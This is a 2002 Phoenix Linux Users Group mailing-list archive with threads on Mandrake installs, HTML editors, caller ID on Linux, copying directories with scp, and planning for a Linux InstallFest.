installed Mandrake would have to shrink that to make room for Linux. Of course, you can install Mandrake in a folder on the Windows partition but who would want to do that? So, first thing I needed to defrag Windows. Two hours and several cross-linked files later I was able, finally, to boot the Mandrake CD. Even though there was 2.78Gb free space on the C: drive Mandrake could only recover 700Mb! The moral - If this is a typical install we'll run out of time and better have lots of Partition Magic CDs handy! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:51:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 20:51:09 -0700 (PDT) Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: On Sun, 9 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. But I'm sure Saint is installed. ;-) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:55:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:55:55 -0700 Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: <200206100356.XAA12693@hostinworld6.com> No but I'm sure NetSAINT IS installed. On 09 Jun 2002 20:21:21 -0700, dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:10:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 21:10:18 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206100102.VAA21006@hostinworld6.com> References: <200206100102.VAA21006@hostinworld6.com> Message-ID: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Quoting "Bryce C." : > Thank you all. I usually only do a few pages a month but this summer > I'm completely overhalling my website. I've trried Quanta before (I use > it for my PHP/HTML) but now I need something that I don't have to for it > to render. Something in the way of, GASP, M$ Frontpage. I will not use > it though because it's a piece of junk but that's the sort of WYSIWYG > I'm talking about. > > Thank You, > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > Sounds like a summer project - learning to code by hand.;-) A big problem with many WYSIWYG editors is that the resulting code is nearly impossible to "reverse engineer" and you are stuck using the product that created the site or you have to start from scratch each time. Try redesigning the site to be more hand-coding friendly, use templates where you can and maybe a macro to fill in the parts that change. Run the code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to catch the big mistakes. Learn to code by hand, you won't regret it. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:14:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:31:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:31:57 -0700 Subject: Linux for Christians In-Reply-To: <3D04124D.8000100@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <200206092132.00620.lists@ybnormal.org> If you want a distr aimed at whatever it is you believe or don't believe, program it, or get some like minded people to do it. The wars are more due to ignorence, not religion. On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > How about a linux distro specifically for non-christians? Buddists? > Muslims? Hindu? > > btw: why everything on this planet has to be about religion? Isn't > this why we have so > many wars? > > Greg > > dennisk@sahuaro.f2s.com wrote: > >Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, > > use Linux as a Christian and in a Christian organization. > > > >And then there is: > > > >http://www.christianlinux.com/ > > > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >crusifix! > > > >Dennis > > > >------------------------------------------------- > >Everyone should have http://www.freedom2surf.net/ > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:45:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:45:50 -0700 Subject: WYSIWYG Editor In-Reply-To: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Message-ID: <200206092145.52899.lists@ybnormal.org> And don't forget to use include files! On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > Quoting "Bryce C." : > > Thank you all. I usually only do a few pages a month but this summer > > I'm completely overhalling my website. I've trried Quanta before (I use > > it for my PHP/HTML) but now I need something that I don't have to for it > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > it though because it's a piece of junk but that's the sort of WYSIWYG > > I'm talking about. > > > > Thank You, > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > Sounds like a summer project - learning to code by hand.;-) > > A big problem with many WYSIWYG editors is that the resulting code is > nearly impossible to "reverse engineer" and you are stuck using the product > that created the site or you have to start from scratch each time. > > Try redesigning the site to be more hand-coding friendly, use templates > where you can and maybe a macro to fill in the parts that change. Run the > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > catch the big mistakes. > > Learn to code by hand, you won't regret it. > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:13:41 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092145.52899.lists@ybnormal.org> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> <200206092145.52899.lists@ybnormal.org> Message-ID: <200206100514.BAA04712@hostinworld6.com> My main mission is to create a template that's easy to change quickly and write a PHP backend to parse it. That is my summer project. Also, I've been coding HTML by hand for 6 years. I know it very well, not that there's all that much to know, but I know there are easier, linux based ways that I could possibly develope and post on the internet to help others learn. On 09 Jun 2002 21:45:50 -0700, Tom Achtenberg wrote: > And don't forget to use include files! > > On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > > Quoting "Bryce C." : > > > Thank you all. I usually only do a few pages a month but this summer > > > I'm completely overhalling my website. I've trried Quanta before (I use > > > it for my PHP/HTML) but now I need something that I don't have to for it > > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > > it though because it's a piece of junk but that's the sort of WYSIWYG > > > I'm talking about. > > > > > > Thank You, > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > Sounds like a summer project - learning to code by hand.;-) > > > > A big problem with many WYSIWYG editors is that the resulting code is > > nearly impossible to "reverse engineer" and you are stuck using the product > > that created the site or you have to start from scratch each time. > > > > Try redesigning the site to be more hand-coding friendly, use templates > > where you can and maybe a macro to fill in the parts that change. Run the > > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > > catch the big mistakes. > > > > Learn to code by hand, you won't regret it. > > > > Dennis Kibbe > > > > ------------------------------------------------- > > Everyone should have http://www.freedom2surf.net/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Visit my home page at http://www.achtenberg.com > > Every DAY 24,000 people die of hunger related causes. 18,000 of these are > children. Find out how you can help at http://www.Christ4me.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:54:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:54:32 -0700 Subject: OT: Please come forward Message-ID: <200206100555.BAA18201@hostinworld6.com> To whomever this may concern. A PLUG member and possible Chandler resident running KDE3.0.0-10 recently posted to my site's guestbook an NMAP of my web server. Please contact me explain the point of doing this and clicking submit twice. If you're unsure of who you are, you are IP: 68.15.176.161, Hostname: wsip68-15-176-161.ph.ph.cox.net. Please don't do this as it shows you're trying to prove something. My web server has no confidential data on it of mine and is located in Davie, Florida so I don't even maintain it. If you have concerns regarding its security, contact the host, Dellz.com. I don't pay much and I don't expecxt much. Thank You. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 06:51:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sun, 9 Jun 2002 23:51:49 -0700 (PDT) Subject: Typical InstallFest install - hope not!! In-Reply-To: <1023680869.3d042165def64@webmail.freedom2surf.net> Message-ID: <20020610065149.20038.qmail@web13901.mail.yahoo.com> When I first installed Mandrake 7.2, I did it on a partition on a windows 98 box. It had a 6.4GB HD, but I installed it on one of the 1.99 GB partition and I had to shove all I could into that space. It was being installed on a box running with a 233MHZ, and 64 MB RAM. This istallation took hours to do. I do not even know how long it really took, because after a few hours I went to bed, and when I woke in the morning I then changed CD's, then waited some more. Some of these installs can take a long time to complete. mike --- dennisk@sahuaro.f2s.com wrote: > > My boss picked up a new Sony Vaio at the Sony Store > in Chicago this week so I > decided to do a Mandrake install a la InstallFest to > see how long it might > take. > > Since the computer has one 6Gb partition with ME > installed Mandrake would have > to shrink that to make room for Linux. Of course, > you can install Mandrake in > a folder on the Windows partition but who would want > to do that? > > So, first thing I needed to defrag Windows. Two > hours and several cross-linked > files later I was able, finally, to boot the > Mandrake CD. Even though there > was 2.78Gb free space on the C: drive Mandrake could > only recover 700Mb! > > The moral - If this is a typical install we'll run > out of time and better have > lots of Partition Magic CDs handy! > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 13:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 06:32:11 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <15620.43611.959869.710388@magnitude.righthandgraphics.com> \_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: \_ \_ How about a linux distro specifically for non-christians? Buddists? \_ Muslims? Hindu? \_ \_ btw: why everything on this planet has to be about religion? Isn't \_ this why we have so \_ many wars? No, we have so many wars because of people using the wrong editor. Die infidel (emacs|vi) user, die! :-) http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 14:44:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 07:44:04 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Don't forget to contact you local school boards too!! -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:20 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 15:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Henry) Date: Mon, 10 Jun 2002 08:26:29 -0700 Subject: telephony Message-ID: Is there a way to set up Linux for caller I.D.? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Mon, 10 Jun 2002 09:00:19 -0700 (MST) Subject: telephony In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CallerID is a feature of your modem, not the operating system. If your modem can report caller id, then it's a simple matter of reading a string from the serial port, or do a search on freshmeat; there's dozens of programs that will read it for you. --Nick On Mon, 10 Jun 2002, Mike Henry wrote: > Is there a way to set up Linux for caller I.D.? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: mmm... gpg is yummy... iD8DBQE9BM0Xv+hjYTGg7s4RAuNzAJ4lhZNsbJWcJw84zOetR9C8FFaCQwCghvyJ VpdhLBWEA6yZvs0H7tG19Ms= =OFmY -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 09:00:34 -0700 (MST) Subject: WYSIWYG Editor In-Reply-To: <200206100514.BAA04712@hostinworld6.com> Message-ID: My favorite HTML editor and one of the few things I use Windows for is HotMetal. HM gives you a "Tags On" view of your document so you can edit individual elements in a WYSIWYG manner, without any of the junque most other GUI editors stuff in. Wish there were an editor for Linux that worked that way. \\/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 09:11:42 -0700 Subject: Caller ID (was telephony) References: Message-ID: <15620.53182.43040.796026@magnitude.righthandgraphics.com> \_ SMTP quoth Mike Henry on 6/10/2002 08:26 as having spake thusly: \_ \_ Is there a way to set up Linux for caller I.D.? 0) get cid from your provider 1) get a cid + linux compatible modem 2a) get one of the many cid apps (see sourceforge) 2b) roll your own with Device::Serial or direct ioctl calls 3) YMMV For instance, I've got my roll-your-own program sending jabber messages to me currently. :-) David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:29:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 12:29:20 -0400 Subject: sftp Message-ID: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:43:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 09:43:07 -0700 Subject: Caller ID (was telephony) In-Reply-To: <15620.53182.43040.796026@magnitude.righthandgraphics.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> Message-ID: <200206100943.07646@granroth.org> On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > 0) get cid from your provider > 1) get a cid + linux compatible modem > 2a) get one of the many cid apps (see sourceforge) > 2b) roll your own with Device::Serial or direct ioctl calls > 3) YMMV > > For instance, I've got my roll-your-own program sending jabber > messages to me currently. :-) On a related topic, does anybody know if any of the cid programs for Linux support logging the call time? I'm trying to figure out a way to count up the total number of minutes that my phone is in use (incoming and outgoing; local and long distance) and Qwest won't give me that info without a subpoena. Now I know that my modem can get the CID info without answering the phone, but can it figure out how long the phone is active? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 10:00:04 -0700 Subject: sftp In-Reply-To: Carl Parrish "sftp" (Jun 10, 12:29pm) References: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1020610170003.ZM14770@localhost.localdomain> On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:09:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 10 Jun 2002 10:09:17 -0700 (MST) Subject: sftp In-Reply-To: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: Carl, try this: scp -rp from.this.host.com:/path/to/dir /path/to/destination -r recursive -p preserve permissions (if you need it) In a second terminal window, keep a connection open to the source host so you can ls the dirs you need. - tom e. -------------------------------------------------------- Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 12:12:15 -0500 (CDT) Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> Message-ID: Kurt, If you are willing to get a telephony card you can do some pretty incredible stuff with GNUe Bayonne. http://www.gnu.org/software/bayonne/ Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org On Mon, 10 Jun 2002, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 10 Jun 2002 10:16:46 -0700 Subject: Install Fest Question Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> All, Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. -Larry From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 13:24:00 -0400 Subject: sftp Message-ID: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Kevin when you tar a file does it create a copy or does it effect the original? The directories I need to more are on a semi public box and will be in use during the transfer. Carl P. ============================================================ From: Kevin Buettner Date: 2002/06/10 Mon PM 01:00:04 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: sftp On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 10:16:51 -0700 Subject: InstallFest -- Status 2002-06-10 Message-ID: <01C21067.F09B9840.wlindley@wlindley.com> Status as of Monday morning. Added volunteers, and tentative presentation times. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. See also: http://www.plugpresents.com/installfest Here's who has the pumpkins... i.e., who is handling what. Please reply off-list if you can fill any of these slots, see anything overlooked, or with any additions or corrections. ------------------------------- SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ Robert Ambrose Alan Robert A.Klahn Mandrake: ______ KevinO Virgil Silhanek W.Lindley Debian: ______ ______ Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: Justin Zeigler and Harry McGregor of www.OSEF.org (Tucson) J.Francois General Assistance: _____ _____ Matt Alexander Kirby Susan Henson Presentations: per Thurman, we will have a room with video projector. - TENTATIVE SCHEDULE: 10:30 am Linux/Open Source Jim Wejroch 11:30 am Linux Terminal Server Project Matt Alexander 12:30 pm Open Source On the Educational Desktop Harry McGregor of www.OSEF.org 1:30 pm KDE ______ or Jim Wejroch 2:30 pm Linux/Open Source der.hans (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 10 copies, Matt Alexander - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, up]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers. Susan Henson, in progress. Current: Revision 6, 2002-06-08 - Other. We still need various handouts: Suggestions? - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ COMPUTERS. (for people to gawk at and play with) - Operable PC running Red Hat. - Operable PC running Mandrake. - Operable PC running Debian. - Operable Apple, IPAQ, PC running other distros, etc etc. PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 10 Jun 2002 10:14:17 -0700 Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> <200206100943.07646@granroth.org> Message-ID: <1023729258.1536.5.camel@CX868974-C> The modem by itself may not be able to but with a small bit of work you could build a current monitor and us it in conjunction with the modem and get the total time the phone is in use and log all inbound calls as to who they were. The phone draws little to no DC current until you pickup (answer) the phone then it draws enough to measure easily. Davidm On Mon, 2002-06-10 at 09:43, Kurt Granroth wrote: > 